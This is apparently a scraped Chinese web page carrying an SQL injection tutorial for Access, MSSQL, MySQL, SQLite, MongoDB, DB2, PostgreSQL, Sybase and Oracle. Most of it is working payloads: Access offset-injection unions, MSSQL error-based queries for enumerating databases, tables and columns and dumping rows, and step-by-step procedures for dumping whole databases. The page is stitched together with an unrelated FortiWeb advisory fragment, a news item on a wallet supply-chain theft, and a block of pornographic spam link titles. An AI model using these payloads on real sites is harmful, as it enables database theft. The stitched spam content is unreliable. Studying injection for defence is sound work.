整合營銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          Web安全(15)-SQL注入之Oracle,Mon

          Web安全(15)-SQL注入之Oracle,MongoDB等注入

          SQL作用在關(guān)系型數(shù)據(jù)庫上面,什么是關(guān)系型數(shù)據(jù)庫?關(guān)系型數(shù)據(jù)庫是由一張張的二維表組成的, 常見的關(guān)系型數(shù)據(jù)庫廠商有MySQL、SQLite、SQL Server、Oracle,由于MySQL是免費(fèi)的,所以企業(yè)一般用MySQL的居多。Web SQL是前端的數(shù)據(jù)庫,它也是本地存儲(chǔ)的一種,使用SQLite實(shí)現(xiàn),SQLite是一種輕量級(jí)數(shù)據(jù)庫,它占的空間小,支持創(chuàng)建表,插入、修改、刪除表格數(shù)據(jù),但是不支持修改表結(jié)構(gòu),如刪掉一縱列,修改表頭字段名等。但是可以把整張表刪了。同一個(gè)域可以創(chuàng)建多個(gè)DB,每個(gè)DB有若干張表。

          與數(shù)據(jù)庫產(chǎn)生交互就有可能存在注入攻擊,不只是MySQL數(shù)據(jù)庫,還有Oracle,MongoDB等數(shù)據(jù)庫也可能會(huì)存在注入攻擊。


          簡要學(xué)習(xí)各種數(shù)據(jù)庫的注入特點(diǎn)

          數(shù)據(jù)庫架構(gòu)組成,數(shù)據(jù)庫高權(quán)限操作

          簡要了解各數(shù)據(jù)庫

          Access,Mysql,mssql(Microsoft SQL server),mongoDB,postgresql,sqlite,oracle,sybase等

          Access

          表名

          列名

          數(shù)據(jù)

          Access數(shù)據(jù)庫保存在網(wǎng)站源碼下面,自己網(wǎng)站數(shù)據(jù)庫獨(dú)立存在,所以無法進(jìn)行跨庫,也沒有文件讀寫的操作。

          除了Access其他數(shù)據(jù)庫組成架構(gòu)基本都是大同小異。

          mysql mssql等

          數(shù)據(jù)庫名A

          表名

          列名

          數(shù)據(jù)

          數(shù)據(jù)庫名B

          。。。。。。

          每個(gè)數(shù)據(jù)庫功能不同,我們采取注入的時(shí)候攻入方式不同

          什么決定網(wǎng)站注入點(diǎn)用戶權(quán)限?

          數(shù)據(jù)庫配置文件的用戶,是誰連接的

          Access偏移注入

          如果遇到列名猜解不到的情況,則可以使用Access偏移注入

          1. 原理

          借用數(shù)據(jù)庫的自連接查詢讓數(shù)據(jù)庫內(nèi)部發(fā)生亂序,從而偏移出所需要的字段在我們的頁面上顯示

          1. 用途

          解決知道Access數(shù)據(jù)庫中知道表名,但是得不到字段的sql注入困境

          1. 特點(diǎn)

          a. 成功與否看技巧與運(yùn)氣,不能保證100%成功。

          b. 無需管理員賬號(hào)密碼字段,直接爆賬號(hào)密碼

          1. 利用條件

          a. 已知管理表名

          b. 已知任意字段(一個(gè)或多個(gè)會(huì)增加機(jī)率,最常見的就是id)

          1. 影響偏移注入成功因素

          a. 管理表的字段數(shù)越少越好(最好是三個(gè):id 賬號(hào)字段 密碼字段)

          b. 當(dāng)前注入點(diǎn)的腳本內(nèi)查詢的表內(nèi)的字段數(shù)越多越好

          1. 流程

          a. 判斷字段數(shù)

          b. 判斷表名

          c. 開始偏移注入

          本地Access偏移注入靶場

          偏移量就是逐步增加或遞減,直到出現(xiàn)結(jié)果。*表示可代替的字符串,用*代替22,返回界面依舊報(bào)錯(cuò),然后用*代替21,依次遞減。22-16=6,6表示該表中的列名個(gè)數(shù)。


          *代表6個(gè),后面一串字符代表兩倍,就相當(dāng)于2倍*,12個(gè)

          爆列名數(shù)據(jù)

          一級(jí)偏移語句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
          二級(jí)偏移語句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)



          二級(jí)偏移,3倍*,所以為18個(gè)


          查看登錄框源代碼的表單值或觀察URL特征等也可以針對表或列獲取不到的情況

          猜解表名可能是ZB_admin,觀察網(wǎng)站地址特征,是否有前綴。

          或者看登錄框表單值

          SQL server/MSSQL注入

          1. 介紹

          Microsoft SQL Server 是一個(gè)全面的數(shù)據(jù)庫平臺(tái),使用集成的商業(yè)智能 (BI)工具提供了企業(yè)級(jí)的數(shù)據(jù)管理。Microsoft SQL Server 數(shù)據(jù)庫引擎為關(guān)系型數(shù)據(jù)和結(jié)構(gòu)化數(shù)據(jù)提供了更安全可靠的存儲(chǔ)功能,使您可以構(gòu)建和管理用于業(yè)務(wù)的高可用和高性能的數(shù)據(jù)應(yīng)用程序。

          1. 過程

          判斷數(shù)據(jù)庫類型

          and exists (select * from sysobjects)--返回正常為mssql(也名sql server)

          and exists (select count(*) from sysobjects)--有時(shí)上面那個(gè)語句不行就試試這個(gè)哈

          判斷數(shù)據(jù)庫版本

          and 1=@@version--這個(gè)語句要在有回顯的模式下才可以哦

          and substring((select @@version),22,4)='2008'--適用于無回顯模式,后面的2008就是數(shù)據(jù)庫版本, 返回正常就是2008的復(fù)制代碼第一條語句執(zhí)行效果圖(類似):第二條語句執(zhí)行效果圖:(如果是 2008的話就返回正常)

          獲取所有數(shù)據(jù)庫的個(gè)數(shù) (一下3條語句可供選擇使用)

          1. and 1=(select quotename(count(name)) from master..sysdatabases)--

          2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --

          3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --

          and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --

          說明:dbid從1-4的數(shù)據(jù)庫一般為系統(tǒng)數(shù)據(jù)庫.

          獲取數(shù)據(jù)庫 (該語句是一次性獲取全部數(shù)據(jù)庫的,且語句只適合>=2005,兩條語句可供選擇使用)

          and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

          and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

          獲取當(dāng)前數(shù)據(jù)庫

          and db_name()>0

          and 1=(select db_name())--

          獲取當(dāng)前數(shù)據(jù)庫中的表(有2個(gè)語句可供選擇使用)【下列語句可一次爆數(shù)據(jù)庫所有表(只限于 mssql2005及以上版本)】

          and 1=(select quotename(name) from 數(shù)據(jù)庫名..sysobjects where xtype='U' FOR XML PATH(''))--

          and 1=(select '|'%2bname%2b'|' from 數(shù)據(jù)庫名..sysobjects where xtype='U' FOR XML PATH(''))--

          獲得表里的列

          一次爆指定表的所有列(只限于mssql2005及以上版本):

          and 1=(select quotename(name) from 數(shù)據(jù)庫名..syscolumns where id=(select id from 數(shù)據(jù)庫名..sysobjects where name='指定表名') FOR XML PATH(''))--

          and 1=(select '|'%2bname%2b'|' from 數(shù)據(jù)庫名..syscolumns where id=(select id from 數(shù)據(jù)庫名..sysobjects where name='指定表名') FOR XML PATH(''))--

          ⑨獲取指定數(shù)據(jù)庫中的表的列的數(shù)據(jù)庫

          逐條爆指定表的所有字段的數(shù)據(jù)(只限于mssql2005及以上版本):

          and 1=(select top 1 * from 指定數(shù)據(jù)庫..指定表名 where排除條件 FOR XML PATH(''))--

          一次性爆N條所有字段的數(shù)據(jù)(只限于mssql2005及以上版本):

          and 1=(select top N * from 指定數(shù)據(jù)庫..指定表名 FOR XML PATH(''))--復(fù)制代碼第一條語句:and 1=(select top 1 * from 指定數(shù)據(jù)庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結(jié)果出來會(huì)更加好,如:where and name like '%user%' 就會(huì)篩選出含有user關(guān)鍵詞的出來。用在篩選表段時(shí)很不錯(cuò)。

          轉(zhuǎn)自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm

          PostgraSQL注入原理

          https://www.webshell.cc/524.html

          https://www.cnblogs.com/yilishazi/p/14710349.html

          https://www.jianshu.com/p/ba0297da2c2e

          Oracle注入

          https://www.cnblogs.com/peterpan0707007/p/8242119.html

          MongoDB注入

          https://blog.csdn.net/weixin_33881753/article/details/87981552

          https://www.secpulse.com/archives/3278.html

          各數(shù)據(jù)庫手工注入

          MySQL:

          1.找到注入點(diǎn) and 1=1 and 1=2 測試報(bào)錯(cuò)

          2.order by 5 # 到5的時(shí)候報(bào)錯(cuò),獲取字段總數(shù)為4

          3.id=0(不是1就行,強(qiáng)行報(bào)錯(cuò)) union select 1,2,3,4 # 聯(lián)合查詢,2和3可以顯示信息

          4.獲取數(shù)據(jù)庫信息

          user()==>root

          database()==>mozhe_Discuz_StormGroup

          version()==>5.7.22-0ubuntu0.16.04.1

          5.獲取數(shù)據(jù)庫表

          table_name 表名

          information_schema.tables 系統(tǒng)生成信息表

          table_schema=數(shù)據(jù)庫名16進(jìn)制或者用單引號(hào)括起來

          改變limit 0,1中前一個(gè)參數(shù),得到兩個(gè)表 StormGroup_member notice

          6.獲取列名

          結(jié)果如下 id,name,password,status

          7.脫褲


          Access:

          1.and 1=2 報(bào)錯(cuò)找到注入點(diǎn)

          2.order by 獲取總字段

          3.猜解表名 and exists (select * from admin) 頁面返回正常,說明存在admin表

          4.猜解列名 and exists(select id from admin) 頁面顯示正常,admin表中存在id列 username,passwd 同樣存在

          5.脫褲 union select 1,username,passwd,4 from admin

          MSSQL:

          1.and 1=2報(bào)錯(cuò)

          2.order by N# 獲取總字段

          3.猜表名 and exists(select * from manage) 表名manage存在

          4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在

          5.脫褲 and exists (select id from manage where id=1 ) 證明id=1存在

          and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長度為8

          and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長度為16

          可用Burp的Intruder功能輔助猜解

          猜解username第1到8位的字符,ASCII轉(zhuǎn)碼 admin_mz

          猜解password第1到16位的字符,ASCII轉(zhuǎn)碼(Burp 爆破)

          轉(zhuǎn)ASCII的py腳本:

          72e1bfc3f01b7583 MD5解密為97285101


          SQLite:

          1.找注入點(diǎn) and 1=1

          2.order by N 猜字段 4

          3.猜數(shù)據(jù)庫

          offset==>0~2

          有三個(gè)數(shù)據(jù)庫:

          WSTMart_reg

          notice_sybase

          sqlite_sequence

          4.猜列

          共有3個(gè)字段:

          id,name,password

          5.脫褲


          MongoDB:

          1.id=1′ 單引號(hào)注入報(bào)錯(cuò)

          2.閉合語句,查看所有集合

          3.查看指定集合的數(shù)據(jù)

          [0] 代表第一條數(shù)據(jù),可遞增


          DB2:

          1.and 1=2 判斷注入點(diǎn)

          2.order by N 獲取字段數(shù)

          3.爆當(dāng)前數(shù)據(jù)庫

          GAME_CHARACTER

          4.列表

          NAME

          5.脫褲


          PostgreSQL:

          1.and 1=2 判斷注入點(diǎn)

          2.order by N 獲取字段

          3.爆數(shù)據(jù)庫

          4.列表

          5.列字段

          6.拖庫


          Sybase數(shù)據(jù)庫:

          1.and 1=2 判斷注入點(diǎn)

          2.order by N 獲取總字段

          3.爆數(shù)據(jù)庫

          4.列表

          5.列字段

          6.查狀態(tài)

          結(jié)果為:zhang

          7.反選爆用戶名

          結(jié)果為:mozhe

          8.猜解密碼


          Oracle:

          1.and 1=1

          2.order by

          3.爆數(shù)據(jù)庫

          4.列表

          5.列字段

          6.拖庫

          加上狀態(tài):1 where STATUS=1

          影響系統(tǒng):

          Fortinet FortiWeb < 5.8.1

          Fortinet FortiWeb < 5.7.2

          描述:

          --------------------------------------------------------------------------------

          BUGTRAQ ID: 101916

          CVE(CAN) ID: CVE-2017-7736

          FortiGate系列安全產(chǎn)品可檢測和消除網(wǎng)絡(luò)威脅。

          Fortinet Fortiweb < 5.8.1、5.7.2版本在實(shí)現(xiàn)上存在HTML注入漏洞,成功利用后可使攻擊者在受影響站點(diǎn)上下文中執(zhí)行HTML及腳本代碼。

          <*來源:Hassan Kooshkaki

          *>

          建議:

          --------------------------------------------------------------------------------

          廠商補(bǔ)丁:

          Fortinet

          --------

          目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問題,請到廠商的主頁下載:

          http://www.fortinetfirewall.com/index.ph

          言財(cái)經(jīng) 11月27日消息,黑客利用惡意代碼獲得(合法)訪問熱門JavaScript庫,通過注射惡意代碼從BitPay的Copay錢包應(yīng)用中竊取比特幣(BTC)和比特幣現(xiàn)金(BCH)。目前已經(jīng)確認(rèn)9月至11月期間,所有版本的Copay錢包都被認(rèn)為已被感染。今天早些時(shí)候,BitPay團(tuán)隊(duì)發(fā)布了Copay v5.2.2,已經(jīng)刪除Event-Stream和Flatmap-Stream依賴項(xiàng)。


          主站蜘蛛池模板: 久久无码AV一区二区三区| 在线视频一区二区三区| 国产伦精品一区二区三区免费下载 | 日韩人妻精品无码一区二区三区 | 麻豆一区二区三区精品视频| 国产视频一区在线播放| 91福利一区二区| 精品乱人伦一区二区三区| 影院无码人妻精品一区二区| 精品一区二区视频在线观看| 无码一区二区三区在线观看| 成人免费av一区二区三区| 日本中文字幕在线视频一区| 国模精品视频一区二区三区| 欧美日韩国产免费一区二区三区| 少妇激情av一区二区| 国精无码欧精品亚洲一区| 国产不卡视频一区二区三区| 一区二区三区无码高清| 日韩A无码AV一区二区三区 | 人妻内射一区二区在线视频| 欧洲精品免费一区二区三区| 日本精品视频一区二区三区| 日本一区高清视频| 国产一区二区三区四| 日韩精品无码Av一区二区 | 精品国产乱子伦一区二区三区 | 一区二区网站在线观看| 亚洲综合无码一区二区三区| 丰满人妻一区二区三区视频| 亚洲午夜电影一区二区三区| 国产福利电影一区二区三区,亚洲国模精品一区 | 毛片无码一区二区三区a片视频| 波多野结衣一区二区三区aV高清| 亚洲AV成人一区二区三区在线看 | 亚洲一区在线观看视频| 亚洲美女高清一区二区三区 | www一区二区三区| 麻豆AV一区二区三区| 久久国产三级无码一区二区| 久久精品成人一区二区三区|